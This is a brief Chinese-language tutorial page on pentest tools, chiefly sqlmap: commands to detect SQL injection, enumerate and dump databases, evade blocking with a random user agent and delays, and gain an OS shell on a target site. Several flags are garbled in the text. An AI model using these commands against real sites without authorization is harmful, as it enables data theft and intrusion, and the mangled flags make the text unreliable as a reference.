本文详细介绍了两款常用的渗透测试工具——SQLMap和BurpSuite的使用方法。针对SQLMap，讲解了如何利用它来检测和利用SQL注入漏洞，包括查看数据库、表和字段，并获取数据。此外，还提到了一些防止被拦截的技巧，如使用--random-agent和--delay参数。对于BurpSuite，特别提到了302网站跳转的情况。这些工具的掌握对于网络安全专业人员进行网站安全测试至关重要。
常用渗透工具讲解
sqlmap工具的使用
- 打开kali linux 的 terminal
- 输入sqlmap
sqlmap -u 目标网站url
- 全面检测网站是否存在sql注入漏洞
sqlmap -u 目标网站url --dbs
- 查看此网站的库
sqlmap -u 目标网站url - D 指定库名 – tables
- -D：指定库
- -T：指定表
- – columns跑字段
- -C指定字段
- – dump获取数据
常用指令
- – random-agent:防止sqlmap表示的开头请被拦截
- –delay=1:每次访问间隔1秒，防止因为速度过快的访问被拦截
- – count：查看字段中的数据数量
- –level 1-5:检测等级，等级数量越高检测越细致一般用 --level 3
- –risk:和level相近
- 一般sqlmap的使用方法：–level 3 --risk 2
- –is–dba
- 使用方法：sqlmap -u URL --is-dba
- 当–is-dba检测为TRUE时可以使用
- –os-shell：直接获得目标网站的cmd权限
- 可以直接使用网站的cmd
1357
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
